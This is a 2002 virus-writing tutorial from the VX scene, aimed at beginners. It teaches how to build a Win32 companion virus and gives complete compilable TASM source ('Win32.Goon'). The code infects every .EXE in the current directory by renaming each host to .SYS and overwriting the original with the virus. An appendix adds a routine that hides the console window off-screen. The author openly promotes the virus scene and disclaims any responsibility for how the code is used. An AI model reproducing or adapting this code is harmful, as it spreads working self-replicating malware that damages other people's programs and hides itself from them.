____________________________________________________________________________________________
               ...:: How to write a simple Companion-Virus in Win32 ::...
                                     by  DiA /auXnet
                                     (c)02 [GermanY]
____________________________________________________________________________________________


Hi folkz,
Today  I read a article  from 29A#6 by Benny. The title was "Situation in VX scene". I think
about it, and then I  resolute to write  this little tutorial! Becauze  after this article I
wanna give all Knowledge that I have to the actually VX scene. This tutorial  is not special
for a guy  that know more than I write  here, BUT for any Beginnerz and Newbiez (like me) is
it  helpfully! Yeah, I  think so! When  my Knowledge  level is  higher (My next step is a PE
Appender =)  I write it down  and give all Knowledge from me  to you. So, have fun with this
tutorial, I hope it help's you and don't leave the scene -> YOU MUST GO ON!


+++++Disclaimer+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+I am NOT responsible for any damage that you do! You can need the code however you want...+
+My motherlanguage is not English, I hope you understand what I mean.                      +
+Feel FREE to write any Comments to                                                        +
+                                       DiA_hates_machine@gmx.de                           +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


.....................................................
.                                                   .
. Index: _1_  :  What the hell is a Companion Virus .
.                                                   .
.        _2_  :  How does it work                   .
.                                                   .
.        _3_  :  Example Code with description      .
.                                                   .
.        _4_  :  The End                            .
.                                                   .
.       _666_ :  Append [Fuck da Window]            .
.                                                   .
.....................................................


*** _1_ : What the hell is a Companion Virus ***

A Companion Virus doesn't change the code of the Host. It does not Append, Prepend or 
anything else. It only rename the Host and copy itself to the host's first name. When you 
run the Prog then the Virus does first it workz and when all done, then the Virus run's the
Host. You can recover the Host when you rename from name number two to the original name.
Here comez a little graphics that show it all:

Step1: 

   /-------------\                            /-----------\
   |             |                            |           |
   | Program.EXE |	;original name        | Virus.EXE |	;we must know the virus file
   |             |	;of founded file      |           |	;API: GetCommandLineA
   \-------------/                            \-----------/

Step2:

   /-------------\                            /-----------\
   |             |                            |           |
   | Program.EXE |                            | Virus.EXE |
   |             |                            |           |
   \-------------/                            \-----------/
          |
          |
       copy to
          |
          |
   /-------------\
   |             |
   | Program.SYS |
   |             |
   \-------------/

Step3:

   /-------------\                           /-----------\
   |             |                           |           |
   | Program.EXE |<--------copy to-----------| Virus.EXE |
   |             |                           |           |
   \-------------/                           \-----------/

To desinfect:
  del Program.EXE
  rename Program.SYS Program.EXE

and all is allright...


*** _2_ : How does it work ***

1. Get Virus File Name
2. Create the original Host File Name
3. Find First File in current Directory
4. Copy the founded File to another Name
5. Copy Virus File to original Name of founded File
6. Find Next File ->jmp 4. -->no more filez jmp 7.
7. Run Host (via 2.) 
8. Exit Virus


*** _3_ : Example Code with description ***

Enough with da fucking Theory! Let's see it working...

To compile it:

  TASM32 /z /ml /m3 Goon,,;
  TLINK32 -Tpe -c Goon,Goon,, import,lib


;-----cut----------------------------------------Goon.asm-----------------------------------

.386					;for 386erz+
.model flat				;no more segmentZ
jumps					;TASM rulez

;+++++
; I think you know this shit ;)
;+++++


extrn GetCommandLineA	:PROC		;to get virus file and host file
extrn lstrcpyA		:PROC		;to copy strings
extrn FindFirstFileA	:PROC		;to find first matching file in current directory
extrn FindNextFileA	:PROC		;to find next file via FindHandle
extrn CopyFileA		:PROC		;to copy filez (see up _2_)
extrn CreateProcessA	:PROC		;to run da host
extrn ExitProcess	:PROC		;to exit the virus

;+++++
; Here we define da needed API's
; I think you know it
;+++++


.data
Goon			db 'Win32.Goon - Virus',0
			db 'Only a Example Code',0
			db 'by  DiA/auXnet',0


FILETIME		STRUC
FT_dwLowDateTime	dd ?
FT_dwHighDateTime	dd ?
FILETIME		ENDS

WIN32_FIND_DATA          label    byte
 WFD_dwFileAttributes    dd       ?
 WFD_ftCreationTime      FILETIME ?
 WFD_ftLastAccessTime    FILETIME ?
 WFD_ftLastWriteTime     FILETIME ?
 WFD_nFileSizeHigh       dd       ?
 WFD_nFileSizeLow        dd       ?
 WFD_dwReserved0         dd       ?
 WFD_dwReserved1         dd       ?
 WFD_szFileName          db       260d dup (?)
 WFD_szAlternateFileName db       13   dup (?)
 WFD_szAlternateEnding   db       03   dup (?)

;+++++
; This is the Win32 Find data:
; here saves all data's about founded file
; we are only interesting in "WFD_szFileName" wich contains the
; filename of the founded file ->renember that we must copy the file to
; another name and the virus to the original name!
;+++++


VirusFile		db 260d dup (0)
HostFile		db 260d dup (0)
HostCopy		db 260d dup (0)

;+++++
; Here we make place for the names: Virus File Name, Host File Name,
; and the File we must generate (from founded file)
;+++++


FileMask		db '*.EXE',0
FindHandle		dd 0
ProcessInfo		dd 4 dup (0)
StartupInfo		dd 4 dup (0)

;+++++
; FileMask contains wich filez we must search,
; FileHandle contains the handle for Search (FindNextFileA)
; ProcessInfo and StartupInfo are only for run the Host (unimportant)
;+++++


.code
start:

;+++++
; ROCK 'N ROLL =)
;+++++


call GetCommandLineA

;+++++
; here we get the CommandLine wich contains the name of the now running prog
; (Virus File :). The line is now in eax, see next step...
;+++++


inc eax					; fuck da "
push eax
push offset VirusFile
call lstrcpyA				;copy it

;+++++
; why the hell 'inc eax'???
; becauze the CommandLine looks like these: "C:\LUCI\HELL.EXE" (with ")
; we can't run, copy the prog with these fucking ", so we go one place forward
; it copy's from eax to VirusFile
;+++++


mov esi,offset VirusFile		;now in esi
call GetPoint				;call a kewl procedure ;)

;+++++
; we must find da point to fuck the other "
; let's see...
;+++++


mov dword ptr [esi+4],00000000d		;clear it

;+++++
; we go after .EXE and clear the "
; ->now we have the full funcional VirusFile, yeah!
;+++++


push offset VirusFile
push offset HostFile
call lstrcpyA

;+++++
; copy the Name to HostFile, that we can change it and get the real Host name (.SYS)
; ...
;+++++


mov esi,offset HostFile
call GetPoint

;+++++
; get the point...
;+++++


mov dword ptr [esi],5359532Eh		;5359532Eh = 'SYS.'

;+++++
; rename it to .SYS (last 4 letters with point)
; now we have the HostFile, yeah, we can run da host...
; ...but wait! WE MUST INFECT FILEZ!!!
;+++++


push offset WIN32_FIND_DATA
push offset FileMask
call FindFirstFileA
mov dword ptr [FindHandle],eax		;save handle

;+++++
; see up when you don't know what WIN32_FIND_DATA and FileMask is...
; after the call is in eax the Find Handle, we save it for use FindNextFileA...
;+++++


FindNext:
test eax,eax				;more filez?
jz RunHost				;if not jmp to RunHost

;+++++
; when eax is null, then there are no more filez to infect in da current directory
; Run the Host when all filez infect
;+++++


push offset WFD_szFileName
push offset HostCopy
call lstrcpyA

;+++++
; copy the name WFD_szFileName to HostCopy to rename and copy it
;+++++


mov esi,offset HostCopy
call GetPoint

;+++++
; get the point to rename the name to .SYS
; later use to copy original file to host file
;+++++


mov dword ptr [esi],5359532Eh		; SYS.

;+++++
; rename it to .SYS (last 4 letters)
; now we have all to infect the founded file:
; Virus File Name
; Original File Name
; Renamed File Name of founded file
; rock 'n roll =)
;+++++


push 1					;do not copy if file exist
push offset HostCopy
push offset WFD_szFileName
call CopyFileA

;+++++
; now we copy .EXE file to .SYS file the host is now in .SYS
; if file already exist don't copy it we must not copy it two times
;+++++


push 0					;copy always
push offset WFD_szFileName
push offset VirusFile
call CopyFileA

;+++++
; we copy the Virus to the founded .EXE file
; copy it always ,becauze we can't have two host's and no virus
;+++++


push offset WIN32_FIND_DATA
push dword ptr [FindHandle]
call FindNextFileA
jmp FindNext

;+++++
; do you renember that we saved the FindHandle...
; we search more filez with this shit!
; jmp to FindNext and check more filez
;+++++


RunHost:
xor eax,eax				;null
push offset ProcessInfo			;uninterestend
push offset StartupInfo			;...
push eax
push eax
push 00000010h				;create process
push eax
push eax
push eax
push offset HostFile
push offset HostFile			;run this
call CreateProcessA

;+++++
; renember that we rename virusfile to hostfile (.SYS), now we run the host
; via this name
;+++++


push 0
call ExitProcess

;+++++
; all is done, and we give full control to the host
;+++++


GetPoint:
cmp byte ptr [esi],'.'			;point?
jz FoundPoint				;je return
inc esi					;scan next place
jmp GetPoint
FoundPoint:
ret					;return

;+++++
; at last the GetPoint procedure...
; scan for '.' and if found return to place where are called
;+++++


end start

;+++++
; GOOD NIGHT
;+++++

;-----cut-----------------------------------------------------------------------------------


*** _4_ : The End ***

Mhhh, that's all. Now you can Write a fucking Win32 Companion Virus. Go on with coding, 
learn more and more... Read Benny's article, and you wanna go on ;) We must all help the VX
scene in these day's to flame!!!

Greets to Benny/29A - great article, you inspire me to write this tut...


THANX FOR READING...





*** _666_ : Append [Fuck da Window] ***

Here a simple way to hide the Window from the Virus (you know...  console)

;-----cut-----FuckW.asm---------------------------------------------------------------------

.386
.model flat
jumps

;+++++
; bla bla bla
;+++++


extrn SetConsoleTitleA	:PROC
extrn FindWindowA	:PROC
extrn SetWindowPos	:PROC
extrn Sleep		:PROC

;+++++
; needed API's from the FuckWindow procedure
;+++++


extrn MessageBoxA	:PROC
extrn ExitProcess	:PROC

;+++++
; here all other API's
; only to show taht it work and exit
;+++++


.data
oTitle			db 'Only to Show...',0
oMsg			db 'See you a Window in the Back?',10,13
			db 'No, thats good, hee?',10,13
			db '              DiA /auXnet',0

;+++++
; only to pose ;)
;+++++


NewConsoleTitle		db '[ANVX]',0
WindowHandle		dd 0

;+++++
; here are the new console title (whatever you want  eg ...)
; and the WindowHandle where the handle saves
;+++++


.code
start:

;+++++
; ya know...
;+++++


call FuckWindow

;+++++
; we call the procedure, make it first to hide the window fast
;+++++


push 0
push offset oTitle
push offset oMsg
push 0
call MessageBoxA

push 0
call ExitProcess

;+++++
; here you can write down your code, whatever you want...
;+++++



FuckWindow:				;procedure
push offset NewConsoleTitle
call SetConsoleTitleA

;+++++
; here comez the procedure who hide the window
; first we set a new console title, that we know what fucking window we must hide
;+++++


call Sleep5				;procedure

;+++++
; it workz better with a little bit sleep (5 mil sek)
;+++++


push offset NewConsoleTitle
push 0
call FindWindowA
mov dword ptr [WindowHandle],eax	;handle

;+++++
; see up! we define a new console title...
; now we search the window (NewConsoleTitle) and save da WindowHandle
;+++++


call Sleep5

;+++++
; sleeping is good...
;+++++


push 0
push 1					;high of window
push 1					;widht of window
push 20000				;Y
push 20000				;X
push 0
push dword ptr [WindowHandle]
call SetWindowPos
ret

;+++++
; we hide da window via SetWindowPos
; high and width of window is 1 (can't see :)
; and the X and Y 20000 coor. Out of screen =)
; return...
;+++++


Sleep5:
push 5
call Sleep
ret

;+++++
; easy, sleep 5mil sek
; return...
;+++++

end start

;-----cut-----------------------------------------------------------------------------------

...or compile it with:
   TASM32 /z /ml /m3 YourProc,,;
   TLINK32 -Tpe -c -aa YourProc,YourProc,, import32.lib

Effect-> Now the proc is not a "Console", it run's under "Windows"...
         FUCK OFF, look at TASM instructionz!


Have Fun...
Code On...
                                     _________________

                                     DiA /auXnet (c)02
                                     _________________